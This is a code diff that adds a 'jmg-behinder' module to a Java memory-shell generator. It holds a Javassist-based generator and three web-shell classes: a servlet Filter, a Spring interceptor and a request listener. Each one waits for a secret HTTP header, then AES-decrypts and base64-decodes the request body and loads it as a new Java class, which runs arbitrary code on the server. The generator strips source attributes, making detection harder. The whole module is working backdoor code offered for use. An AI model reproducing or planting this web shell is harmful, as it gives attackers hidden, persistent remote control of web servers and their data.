61快乐

jmg-behinder/pom.xml

@@ -0,0 +1,21 @@
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+    <parent>
+        <groupId>jmg</groupId>
+        <artifactId>java-memshell-generator</artifactId>
+        <version>${revision}</version>
+    </parent>
+    <artifactId>jmg-behinder</artifactId>
+
+
+    <dependencies>
+        <dependency>
+            <groupId>jmg</groupId>
+            <artifactId>jmg-core</artifactId>
+            <version>${revision}</version>
+            <scope>compile</scope>
+        </dependency>
+    </dependencies>
+
+</project>

jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java

@@ -0,0 +1,56 @@
+package jmg.behinder.generator;
+
+import javassist.ClassClassPath;
+import javassist.CtClass;
+import jmg.behinder.util.ShellUtil;
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.generator.IShellGenerator;
+import jmg.core.util.CommonUtil;
+import jmg.core.util.JavassistUtil;
+import jmg.core.util.ResponseUtil;
+
+public class BehinderGenerator implements IShellGenerator {
+
+    @Override
+    public void initShell(AbstractConfig config) {
+        if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
+    }
+
+    @Override
+    public byte[] makeShell(AbstractConfig config) throws Exception {
+        initShell(config);
+        String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
+        String shellClassName = ShellUtil.getShellClassName(shellName);
+        byte[] bytes = modifyShell(shellClassName, config);
+        config.setShellBytes(bytes);
+        config.setShellBytesLength(bytes.length);
+        config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
+        return bytes;
+    }
+
+    @Override
+    public byte[] modifyShell(String className, AbstractConfig config) {
+        byte[] bytes = new byte[0];
+        try {
+            pool.insertClassPath(new ClassClassPath(BehinderGenerator.class));
+            CtClass ctClass = pool.getCtClass(className);
+            ctClass.getClassFile().setVersionToJava5();
+            JavassistUtil.addFieldIfNotNull(ctClass, "pass", CommonUtil.getMd5(config.getPass()).substring(0, 16));
+            JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
+            JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
+            JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
+            if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
+                String methodBody = ResponseUtil.getMethodBody(config.getServerType());
+                JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
+            }
+            JavassistUtil.removeSourceFileAttribute(ctClass);
+            bytes = ctClass.toBytecode();
+            ctClass.detach();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return bytes;
+    }
+
+}

jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java

@@ -0,0 +1,70 @@
+package jmg.behinder.memshell;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.*;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+
+
+public class BehinderFilter extends ClassLoader implements Filter {
+    public String pass;
+    public String headerName;
+    public String headerValue;
+
+    public Class g(byte[] b) {
+        return super.defineClass(b, 0, b.length);
+    }
+
+    public BehinderFilter() {
+    }
+
+    public BehinderFilter(ClassLoader c) {
+        super(c);
+    }
+
+    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
+        HttpServletRequest request = (HttpServletRequest) servletRequest;
+        HttpServletResponse response = (HttpServletResponse) servletResponse;
+
+        try {
+            if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
+                HttpSession session = ((HttpServletRequest) servletRequest).getSession();
+                Map obj = new HashMap();
+                obj.put("request", servletRequest);
+                obj.put("response", response);
+                obj.put("session", session);
+
+                session.putValue("u", this.pass);
+                Cipher c = Cipher.getInstance("AES");
+                c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
+                (new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
+            } else {
+                filterChain.doFilter(servletRequest, servletResponse);
+            }
+        } catch (Exception e) {
+            filterChain.doFilter(servletRequest, servletResponse);
+        }
+    }
+
+    public byte[] doBase64Decode(String str) throws Exception {
+        try {
+            Class clazz = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
+        } catch (Exception var5) {
+            Class clazz = Class.forName("java.util.Base64");
+            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+            return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
+        }
+    }
+
+    public void init(FilterConfig filterConfig) throws ServletException {
+    }
+
+    public void destroy() {
+    }
+}

jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java

@@ -0,0 +1,78 @@
+package jmg.behinder.memshell;
+
+import org.springframework.web.servlet.AsyncHandlerInterceptor;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.UUID;
+
+public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
+
+
+    public String pass;
+
+    public String headerName;
+
+    public String headerValue;
+
+
+    public Class g(byte[] b) {
+        return super.defineClass(b, 0, b.length);
+    }
+
+
+    public BehinderInterceptor(ClassLoader c) {
+        super(c);
+    }
+
+
+    public BehinderInterceptor() {
+    }
+
+    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
+        if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+            try {
+                HttpSession session = request.getSession();
+                Map obj = new HashMap();
+                obj.put("request", request);
+                obj.put("response", response);
+                obj.put("session", session);
+                session.putValue("u", this.pass);
+                Cipher c = Cipher.getInstance("AES");
+                c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
+                (new BehinderInterceptor(this.getClass().getClassLoader())).g(c.doFinal(this.b64Decode(request.getReader().readLine()))).newInstance().equals(obj);
+            } catch (Exception e) {
+            }
+            return false;
+        } else {
+            return true;
+        }
+    }
+
+    public static byte[] b64Decode(String bs) throws Exception {
+        byte[] value = null;
+
+        Class base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
+            } catch (Exception var5) {
+            }
+        }
+
+        return value;
+    }
+}
+

jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java

@@ -0,0 +1,97 @@
+package jmg.behinder.memshell;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.ServletRequestEvent;
+import javax.servlet.ServletRequestListener;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.Map;
+
+public class BehinderListener extends ClassLoader implements ServletRequestListener {
+    public String pass;
+
+    public String headerName;
+
+    public String headerValue;
+
+
+    public BehinderListener() {
+    }
+
+    public BehinderListener(ClassLoader c) {
+        super(c);
+    }
+
+
+    public Class g(byte[] b) {
+        return super.defineClass(b, 0, b.length);
+    }
+
+
+    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
+    }
+
+    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+        HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+        try {
+            if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+                HttpServletResponse response = this.getResponseFromRequest(request);
+                HttpSession session = request.getSession();
+                Map obj = new HashMap();
+                obj.put("request", request);
+                obj.put("response", response);
+                obj.put("session", session);
+                try {
+                    session.putValue("u", pass);
+                    Cipher c = Cipher.getInstance("AES");
+                    c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
+                    (new BehinderListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
+                } catch (Exception var7) {
+                }
+            }
+        } catch (Exception e) {
+
+        }
+
+    }
+
+    private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
+        return null;
+    }
+
+    private static synchronized Object getFV(Object var0, String var1) throws Exception {
+        Field var2 = null;
+        Class var3 = var0.getClass();
+
+        while (var3 != Object.class) {
+            try {
+                var2 = var3.getDeclaredField(var1);
+                break;
+            } catch (NoSuchFieldException var5) {
+                var3 = var3.getSuperclass();
+            }
+        }
+
+        if (var2 == null) {
+            throw new NoSuchFieldException(var1);
+        } else {
+            var2.setAccessible(true);
+            return var2.get(var0);
+        }
+    }
+
+    public byte[] base64Decode(String str) throws Exception {
+        try {
+            Class clazz = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
+        } catch (Exception var5) {
+            Class clazz = Class.forName("java.util.Base64");
+            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+            return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
+        }
+    }
+}

jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java

@@ -0,0 +1,46 @@
+package jmg.behinder.util;
+
+import jmg.behinder.memshell.BehinderFilter;
+import jmg.behinder.memshell.BehinderInterceptor;
+import jmg.behinder.memshell.BehinderListener;
+import jmg.core.config.Constants;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class ShellUtil {
+
+    private static final Map<String, String> SHELL_CLASSNAME_MAP = new HashMap();
+    private static final Map<String, Map<String, String>> toolMap = new HashMap();
+
+    public ShellUtil() {
+    }
+
+    public static String getShellName(String toolType, String shellType) {
+        Map<String, String> shellMap = toolMap.get(toolType);
+        return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
+    }
+
+    public static String getShellClassName(String shellName) throws Exception {
+        if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
+            throw new Exception("Invalid shell type '" + shellName + "'");
+        } else {
+            return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
+        }
+    }
+
+    static {
+        SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName());
+        SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName());
+        SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName());
+
+        Map<String, String> behinderMap = new HashMap();
+        behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName());
+        behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName());
+        behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName());
+        toolMap.put(Constants.TOOL_BEHINDER, behinderMap);
+
+    }
+
+
+}